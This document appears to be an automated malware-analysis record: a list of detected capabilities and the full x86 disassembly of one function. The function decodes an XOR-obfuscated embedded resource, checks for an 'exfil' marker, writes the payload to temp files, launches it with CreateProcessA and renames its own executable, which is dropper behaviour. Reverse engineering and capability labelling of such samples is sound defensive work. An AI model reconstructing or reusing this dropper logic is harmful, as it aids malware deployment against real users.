Function at 0x401120
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Move file
Print debug messages
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf10
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401181
mov eax, dword [ebp - 0x14]
push eax
call fcn.004f8760
add esp, 4
cmp eax, 0xb
jbe 0x401181
push 0x563ce0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00402d70
add esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401181
mov edx, dword [ebp - 0x2c]
add edx, 0xa
mov dword [ebp - 0x2c], edx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x563cec
push 0x563cfc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x563d0c
push 0x28b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
push 0x563d14
push 0x563d24
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
push 0x563d34
push 0x563d44
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.004f8730
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401238
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x18], 0xa
jae 0x401245
xor eax, eax
jmp 0x4017ce
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004f83c0
add esp, 0xc
mov edx, dword [ebp - 4]
mov al, byte [edx]
mov byte [ebp - 0xd], al
mov dword [ebp - 0x30], 1
jmp 0x401273
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jae 0x401294
movzx eax, byte [ebp - 0xd]
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
xor edx, eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x30]
mov byte [eax], dl
jmp 0x40126a
push 5
push str.exfil
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
call fcn.004f7950
add esp, 0xc
test eax, eax
jne 0x4017c2
mov edx, dword [ebp - 4]
mov eax, dword [edx + 6]
mov dword [ebp - 0x640], eax
push 0x200
lea ecx, [ebp - 0x840]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleBaseNameA
lea edx, [ebp - 0x238]
push edx
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0xe40]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
mov ecx, dword [ebp - 0x640]
shr ecx, 1
push ecx
mov edx, dword [ebp - 4]
add edx, 0xa
push edx
call fcn.004010b0
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x63c]
push eax
mov ecx, dword [ebp - 0x640]
push ecx
mov edx, dword [ebp - 4]
add edx, 0xa
push edx
call fcn.004010b0
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x640]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x63c]
push edx
lea eax, [ebp - 0xe40]
push eax
push str._s_08x_ac__08x__08x.dat
lea ecx, [ebp - 0xc40]
push ecx
call fcn.00402e40
add esp, 0x18
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
push 0x563d78
lea ecx, [ebp - 0x638]
push ecx
call fcn.00402e40
add esp, 0x10
push 0
lea edx, [ebp - 0xc40]
push edx
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4013b7
push str.copy_create1_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0xc40]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.copy_create2_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [ebp - 0xc40]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
push 0x80
push 3
push 0
push 7
push OleUIPasteSpecialA
push str..dataprguse2.wzl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x401568
xor eax, eax
je 0x401568
push str.temp_run_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0xe40]
push edx
push 0x563dc0
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea ecx, [ebp - 0xc40]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xe44], eax
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0xe40]
push edx
push str._s_s_DEbL_acc_s_s
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x18
cmp dword [ebp - 0xe44], 0xffffffff
je 0x401566
mov dword [ebp - 0xe48], 0
push 0
lea ecx, [ebp - 0xe48]
push ecx
mov edx, dword [ebp - 0x640]
push edx
mov eax, dword [ebp - 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 0xe44]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401559
mov edx, dword [ebp - 0xe44]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea eax, [ebp - 0xea8]
push eax
call fcn.004f78d0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0xe5c]
push ecx
call fcn.004f78d0
add esp, 0xc
mov dword [ebp - 0xea8], 0x44
mov dword [ebp - 0xe7c], 1
mov edx, 1
mov word [ebp - 0xe78], dx
lea eax, [ebp - 0xe5c]
push eax
lea ecx, [ebp - 0xea8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xc40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0xe4c], eax
cmp dword [ebp - 0xe4c], 0
je 0x401559
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xe44]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401572
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
push 0x563de0
lea ecx, [ebp - 0x638]
push ecx
call fcn.00402e40
add esp, 0x10
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
push str._s_s.del
lea ecx, [ebp - 0xc40]
push ecx
call fcn.00402e40
add esp, 0x10
mov dword [ebp - 0xeac], 0xffffffff
lea edx, [ebp - 0xc40]
push edx
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x401660
push str.this_run_no_mov_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0x238]
push edx
push 0x563e08
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea ecx, [ebp - 0xc40]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xeac], eax
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0x238]
push edx
push str._s_s_DEbL_acc_s_s.del
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x18
jmp 0x4016d7
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0x238]
push edx
push str._s_s.exe
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea ecx, [ebp - 0xc40]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xeac], eax
lea edx, [ebp - 0x840]
push edx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x840]
push ecx
lea edx, [ebp - 0x238]
push edx
push str._s_s.exe_DEbL_acc_s_s
lea eax, [ebp - 0xc40]
push eax
call fcn.00402e40
add esp, 0x18
cmp dword [ebp - 0xeac], 0xffffffff
je 0x4017ba
mov dword [ebp - 0xeb0], 0
push 0
lea ecx, [ebp - 0xeb0]
push ecx
mov edx, dword [ebp - 0x640]
push edx
mov eax, dword [ebp - 4]
add eax, 0xa
push eax
mov ecx, dword [ebp - 0xeac]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4017ad
mov edx, dword [ebp - 0xeac]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea eax, [ebp - 0xf10]
push eax
call fcn.004f78d0
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0xec4]
push ecx
call fcn.004f78d0
add esp, 0xc
mov dword [ebp - 0xf10], 0x44
mov dword [ebp - 0xee4], 1
mov edx, 1
mov word [ebp - 0xee0], dx
lea eax, [ebp - 0xec4]
push eax
lea ecx, [ebp - 0xf10]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xc40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0xeb4], eax
cmp dword [ebp - 0xeb4], 0
je 0x4017ad
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xeac]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
push ecx
call fcn.004f78b0
add esp, 4
mov esp, ebp
pop ebp
ret